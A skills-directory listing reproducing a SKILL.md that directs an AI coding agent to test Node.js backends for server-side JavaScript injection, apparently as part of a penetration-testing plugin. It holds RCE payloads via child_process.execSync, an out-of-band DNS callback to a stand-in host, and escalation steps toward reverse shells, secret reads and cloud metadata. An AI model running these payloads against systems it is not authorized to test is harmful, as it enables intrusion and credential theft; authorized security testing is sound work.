Back to skills
SKILL.md
Server Side Js Injection
ASecurityServer-Side JavaScript Injection (SSJI) — untrusted input reaching a Node.js eval/Function/vm/child_process or a template/serialization sink, and NoSQL JS. Detection, sandbox (vm) escape, and RCE. Tier 1 (full RCE honors the authorization gate). Payloads: payloads/command-exec.md + nosql.md. Use for Node/Express backends that evaluate input.
- 16 stars
- 0 votes
- 0 copies
- 3 views
- Added November 17, 2026
Works with
Security analysis
100/100npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill server-side-js-injection --agent claude-codeAre you the author of Server Side Js Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-server-side-js-injection)---
name: server-side-js-injection
description: "Server-Side JavaScript Injection (SSJI) — untrusted input reaching a Node.js eval/Function/vm/child_process or a template/serialization sink, and NoSQL JS. Detection, sandbox (vm) escape, and RCE. Tier 1 (full RCE honors the authorization gate). Payloads: payloads/command-exec.md + nosql.md. Use for Node/Express backends that evaluate input."
---
# Server-Side JS Injection (SSJI)
Node apps that evaluate attacker-influenced input can be driven to RCE. Probe arithmetic first, then escalate.
## Trigger phrases
`ssji, server side javascript injection, node eval, vm escape, child_process rce, node-serialize`
## Method
1. **Detect:** inject `7*7` where output appears → `49` confirms evaluation; try `res.end(process.version)` style probes.
2. **Sinks:** `eval`, `Function`, `setTimeout/Interval(str)`, `vm`/`vm2` (escape via known gadget chains), `child_process`, template engines (→ `web-ssti` for Handlebars/Pug/Nunjucks), `node-serialize` (`_$$ND_FUNC$$_`), `` JS (→ `nosql-injection`).
3. **RCE:** `require('child_process').execSync('id')`, `global.process.mainModule.require('child_process').execSync('id')`; `vm2` sandbox-escape gadgets for the pinned version.
4. **Blind:** OAST callback (`require('child_process').execSync('nslookup x.oob.example')`).
## Escalation
RCE → reverse shell/secret read (→ `${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md`), cloud metadata, pivot. Honor the Tier gate for intrusive RCE on production.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The `49`/version proof, the sink, and execution proof (OAST or benign `id`).
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.